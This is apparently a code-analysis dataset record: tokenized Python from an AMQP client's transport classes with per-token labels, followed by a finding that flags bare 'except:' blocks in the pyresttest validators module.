"\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "OSE", "rror_", ",_", "IO", "Error_", ",_", "socket_", "._", "error_", ")_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "don", "'", "t", " ", "discon", "nect", " ", "for", " ", "ssl", " ", "read", " ", "time", " ", "outs", " ", "(", "Pyth", "on", " ", "3.2", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "bug", "s", ".", "python", ".", "org", "/", "issue", "1027", "2_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "exc_", ",_", "SS", "LE", "rror_", ")_", "and_", "'", "timed", " ", "out", "'_", "in_", "str_", "(_", "exc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "socket_", "._", "timeout_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "get", "\\u", "errno_", "(_", "exc_", ")_", "not_", "in_", "\\u", "UNA", "VA", "IL", "_", "and_", "not_", "isinstance_", "(_", "exc_", ",_", "socket_", "._", "timeout_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connected_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "i", "\\u", "last", "\\u", "byte_", "==_", "Frame", "Type_", "._", "END_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "frame_", "._", "frame", "\\u", "type_", "==_", "Frame", "Type_", "._", "HEA", "RT", "BEA", "T_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "last", "\\u", "heart", "beat", "\\u", "received_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Une", "xpe", "cte", "d", "Frame_", "(_", "'", "Receive", "d", " ", "{}", " ", "whi", "le", " ", "expect", "ing", " ", "0xc", "e", " ", "(", "Frame", "Type", ".", "END", ")'_", "._", "format_", "(_", "hex_", "(_", "i", "\\u", "last", "\\u", "byte_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "synchronized", "_", "(_", "'\\u", "frame", "\\u", "write", "\\u", "lock", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "write", "\\u", "frame_", "(_", "self_", ",_", "frame_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Write", " ", "frame", " ", "to", " ", "connecti", "on", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "the", " ", "frame", " ", "may", " ", "be", " ", "destin", "ed", " ", "for", " ", "any", " ", "channel", ".", " ", "It", " ", "is", " ", "permit", "ted", " ", "to", " ", "interleave", " ", "frames", "\\", "10", ";", " ", " ", " ", " ", "from", " ", "different", " ", "channel", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "frame", ":", " ", "frame", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "frame", ":", " ", "amqp", "y", ".", "proto", ".", "Frame", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write_", "(_", "frame_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "timeout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "OSE", "rror_", ",_", "IO", "Error_", ",_", "socket_", "._", "error_", ")_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "get", "\\u", "errno_", "(_", "exc_", ")_", "not_", "in_", "\\u", "UNA", "VA", "IL", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connected_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "send", "\\u", "heartbeat_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Sen", "d", " ", "a", " ", "heart", "beat", " ", "to", " ", "the", " ", "server", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "heart", "beat", "\\u", "sent_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "heart", "beat", "\\u", "sent", "\\u", "monotonic", "_", "=_", "time_", "._", "monotonic", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write", "\\u", "frame_", "(_", "Frame_", "(_", "Frame", "Type_", "._", "HEA", "RT", "BEA", "T_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "alive_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Check", " ", "if", " ", "connecti", "on", " ", "is", " ", "alive", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "is", " ", "the", " ", "primary", " ", "way", " ", "to", " ", "check", " ", "if", " ", "the", " ", "connecti", "on", " ", "is", " ", "alive", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Side", " ", "effect", "s", ":", " ", "Thi", "s", " ", "method", " ", "may", " ", "send", " ", "a", " ", "heart", "beat", " ", "as", " ", "a", " ", "last", " ", "reso", "rt", " ", "to", " ", "check", " ", "if", " ", "the", " ", "connecti", "on", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "alive", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "Tru", "e", " ", "if", " ", "connecti", "on", " ", "is", " ", "alive", ",", " ", "else", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ":", "rty", "pe", ":", " ", "bool", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "sock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "don", "'", "t", " ", "have", " ", "a", " ", "valid", " ", "socket", ",", " ", "this", " ", "connecti", "on", " ", "is", " ", "definit", "el", "y", " ", "not", " ", "alive_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "connected_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "`", "transport", "`", " ", "is", " ", "not", " ", "connected_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "recv", " ", "with", " ", "MS", "G", "\\u", "PE", "EK", " ", "to", " ", "check", " ", "if", " ", "the", " ", "connecti", "on", " ", "is", " ", "alive_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "note", ":", " ", "if", " ", "there", " ", "is", " ", "data", " ", "still", " ", "in", " ", "the", " ", "buffer", ",", " ", "this", " ", "will", " ", "not", " ", "tell", " ", "us", " ", "anyt", "hing_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "has", "attr", "(", "socket", ",", " ", "'", "MS", "G", "\\u", "PE", "EK", "')", " ", "and", " ", "not", " ", "isin", "stance", "(", "self", ".", "sock", ",", " ", "ssl", ".", "SS", "LS", "ocket", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "prev", " ", "=", " ", "self", ".", "sock", ".", "getti", "meo", "ut", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".", "sock", ".", "setti", "meo", "ut", "(", "0.0001", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "sock", ".", "recv", "(", "1", ",", " ", "socket", ".", "MS", "G", "\\u", "PE", "EK", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", " ", "socket", ".", "timeo", "ut", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "pass_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "except", " ", "socket", ".", "error", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "#", " ", "the", " ", "exception", " ", "is", " ", "usual", "ly", " ", "(", "alw", "ay", "s", "?)", " ", "a", " ", "Connect", "ion", "Reset", "Error", " ", "in", " ", "Pyth", "on", " ", "3.3", "+_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "log", ".", "debug", "('", "socket", ".", "error", ",", " ", "connecti", "on", " ", "is", " ", "close", "d", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "final", "ly", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "self", ".", "sock", ".", "setti", "meo", "ut", "(", "prev", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "send", " ", "a", " ", "heart", "beat", " ", "to", " ", "check", " ", "if", " ", "the", " ", "connecti", "on", " ", "is", " ", "alive_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "send", "\\u", "heartbeat_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "SS", "LT", "rans", "port_", "(_", "Transport_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Transp", "ort", " ", "tha", "t", " ", "works", " ", "over", " ", "SS", "L", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "SS", "LT", "rans", "port_", "(_", "Transport_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "host_", ",_", "port_", ",_", "connect", "\\u", "timeout_", ",_", "frame", "\\u", "max_", ",_", "ssl", "\\u", "opts_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ssl", "\\u", "opts_", "=_", "ssl", "\\u", "opts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "SS", "LT", "rans", "port_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "host_", ",_", "port_", ",_", "connect", "\\u", "timeout_", ",_", "frame", "\\u", "max_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SS", "LT", "rans", "port_", "(_", "Transport_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "setup", "\\u", "transport_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Wra", "p", " ", "the", " ", "socket", " ", "in", " ", "an", " ", "SS", "L", " ", "object", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "=_", "ssl_", "._", "wrap", "\\u", "socket_", "(_", "self_", "._", "sock_", ",_", "**_", "self_", "._", "ssl", "\\u", "opts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SS", "LT", "rans", "port_", "(_", "Transport_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "read_", "(_", "self_", ",_", "n_", ",_", "initial_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Read", " ", "from", " ", "socket", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Acco", "rdin", "g", " ", "to", " ", "SS", "L", "\\u", "read", "(", "3", "),", " ", "it", " ", "can", " ", "at", " ", "most", " ", "return", " ", "16", "kb", " ", "of", " ", "data", ".", " ", "Thu", "s", ",", " ", "we", " ", "use", " ", "an", " ", "internal", " ", "read", "\\", "10", ";", " ", " ", " ", " ", "buffer", " ", "like", " ", "`", "TC", "PT", "rans", "port", ".", "read", "()`", " ", "to", " ", "get", " ", "the", " ", "exact", " ", "number", " ", "of", " ", "bytes", " ", "want", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "int", " ", "n", ":", " ", "exact", " ", "number", " ", "of", " ", "bytes", " ", "to", " ", "read", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "data", " ", "read", "\\", "10", ";", " ", " ", " ", " ", ":", "rty", "pe", ":", " ", "bytes", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "read_", "(_", "n_", ",_", "initial_", ",_", "\\u", "errno", "s_", "=_", "(_", "errno_", "._", "ENOENT_", ",_", "errno_", "._", "EA", "GAIN", "_", ",_", "errno_", "._", "EIN", "TR_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SS", "LT", "rans", "port_", "(_", "Transport_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Write", " ", "a", " ", "string", " ", "out", " ", "to", " ", "the", " ", "SS", "L", " ", "socket", " ", "full", "y", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "write_", "=_", "self_", "._", "sock_", "._", "write_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "works", " ", "aro", "und", " ", "a", " ", "bug", " ", "in", " ", "python", " ", "socket", " ", "library_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "IO", "Error_", "(_", "'", "Sock", "et", " ", "close", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "write_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "IO", "Error_", "(_", "'", "Sock", "et", " ", "close", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", "=_", "s_", "[_", "n_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "TC", "PT", "rans", "port_", "(_", "Transport_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Transp", "ort", " ", "tha", "t", " ", "deal", "s", " ", "direct", "ly", " ", "with", " ", "TC", "P", " ", "socket", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "TC", "PT", "rans", "port_", "(_", "Transport_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "read_", "(_", "self_", ",_", "n_", ",_", "initial_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Read", " ", "exact", "ly", " ", "n", " ", "bytes", " ", "from", " ", "the", " ", "socket", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "int", " ", "n", ":", " ", "exact", " ", "number", " ", "of", " ", "bytes", " ", "to", " ", "read", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "data", " ", "read", "\\", "10", ";", " ", " ", " ", " ", ":", "rty", "pe", ":", " ", "bytes", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "read_", "(_", "n_", ",_", "initial_", ",_", "\\u", "errno", "s_", "=_", "(_", "errno_", "._", "EA", "GAIN", "_", ",_", "errno_", "._", "EIN", "TR_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "TC", "PT", "rans", "port_", "(_", "Transport_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "._", "sendall_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
svanoort/pyresttest/pyresttest/validators.py
[ { "content": "def safe_length(var):\n \"\"\" Exception-safe length check, returns -1 if no length on type or error \"\"\"\n output = -1\n try:\n output = len(var)\n except:\n pass\n return output", "metadata": "root.safe_length", "header": "['module', '___EOS___']", "index": 113 }, { "content": " @staticmethod\n def query_dictionary(query, dictionary, delimiter='.'):\n \"\"\" Do an xpath-like query with dictionary, using a template if relevant \"\"\"\n # Based on\n # http://stackoverflow.com/questions/7320319/xpath-like-query-for-nested-python-dictionaries\n\n try:\n stripped_query = query.strip(delimiter)\n if stripped_query:\n for x in stripped_query.split(delimiter):\n try:\n x = int(x)\n dictionary = dictionary[x]\n except ValueError:\n dictionary = dictionary[x]\n except:\n return None\n return dictionary", "metadata": "root.MiniJsonExtractor.query_dictionary", "header": "['class', 'MiniJsonExtractor', '(', 'AbstractExtractor', ')', ':', '___EOS___']", "index": 243 } ]
[ { "span": "except:", "start_line": 118, "start_column": 4, "end_line": 118, "end_column": 11 }, { "span": "except:", "start_line": 258, "start_column": 8, "end_line": 258, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "safe", "\\u", "length_", "(_", "var_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Except", "ion", "-", "safe", " ", "length", " ", "check", ",", " ", "return", "s", " ", "-1", " ", "if", " ", "no", " ", "length", " ", "on", " ", "type", " ", "or", " ", "error", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output_", "=_", "len_", "(_", "var_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mini", "Js", "on", "Extractor_", "(_", "Abstract", "Extractor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "query", "\\u", "dictionary_", "(_", "query_", ",_", "dictionary_", ",_", "delimiter_", "=_", "'.'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Do", " ", "an", " ", "xpa", "th", "-", "like", " ", "query", " ", "with", " ", "dictionar", "y", ",", " ", "usi", "ng", " ", "a", " ", "template", " ", "if", " ", "rele", "van", "t", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Base", "d", " ", "on_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "stack", "overflow", ".", "com", "/", "question", "s", "/", "732", "031", "9", "/", "xpa", "th", "-", "like", "-", "query", "-", "for", "-", "nest", "ed", "-", "python", "-", "dictionar", "ies_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "strip", "ped", "\\u", "query_", "=_", "query_", "._", "strip_", "(_", "delimiter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "strip", "ped", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", "in_", "strip", "ped", "\\u", "query_", "._", "split_", "(_", "delimiter_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", 